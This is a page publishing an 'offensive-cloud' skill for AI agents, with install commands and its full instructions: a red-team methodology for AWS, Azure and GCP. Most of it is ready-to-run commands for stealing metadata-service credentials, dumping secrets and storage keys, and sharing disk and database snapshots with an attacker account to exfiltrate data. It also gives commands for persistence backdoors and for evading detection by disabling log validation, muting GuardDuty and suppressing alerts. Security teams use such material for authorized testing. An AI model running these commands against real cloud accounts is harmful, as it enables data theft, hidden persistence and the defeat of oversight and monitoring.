offensive-cloud skill
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.
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Install the offensive-cloud skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/cloud/offensive-cloud ~/.claude/skills/offensive-cloud
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
Quick Workflow
- Identify the cloud and the identity context you have (user, role, service account, instance role)
- Enumerate without writes — aws sts get-caller-identity, az account show, gcloud auth list
- Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
- Find the data and the persistence anchors before alarms fire
- Document the kill chain with timestamps, identities, and resources for the report
AWS
Identity Discovery
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names "*"IMDS Credential Theft
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
Privilege Escalation Paths
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scanCross-Account / Organization
# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account
# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-rootsData Targets
# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>
# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
--attribute createVolumePermission \
--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
--attribute-name restore --values-to-add ATTACKER_ACCT
# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryptionPersistence
# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ... # Rare but devastating
# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin userDetection Evasion
- CloudTrail to multi-region with log file validation — disable validation if you have perms
- GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
- VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only
Azure
Identity Discovery
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)
# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"IMDS
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Privilege Escalation Paths
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui # browse the gathered DB
# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.comData Targets
# Storage account access keys (gold)
az storage account keys list -g RG -n SA
# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred
# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct
# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>Persistence
# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append
# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retentionDetection Evasion
- AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
- Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
- Defender for Cloud: alert suppression rules
GCP
Identity Discovery
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)IMDS
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenPrivilege Escalation Paths
# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/
# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you controlData Targets
# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket
# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>Cross-Project / Folder Pivot
# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"Cross-Cloud Patterns
CI/CD as the Pivot
Most cloud takeovers in 2024-2025 start with CI tokens:
- GitHub Actions OIDC misconfigured → assume any AWS role with weak sub claim
- GitLab CI pushed to wrong branch → gains prod role
- Jenkins agent with cloud credentials in env
Test the OIDC trust policy claims carefully:
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org/*"
}
}Snapshot Sideways (works on all 3)
Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.
Secrets-in-Logs
CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.
Container Registry Poisoning
ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.
Tooling Matrix
Engagement Cheatsheet
[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorizationKey References
- AWS IAM permissions reference (boto3 docs)
- Azure RBAC built-in roles + actions list
- GCP IAM permissions reference
- HackTricks Cloud — ongoing reference for newest paths
- "Pacu" framework docs — pacu.aws.cloud
- MITRE ATT&CK Cloud Matrix
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.md
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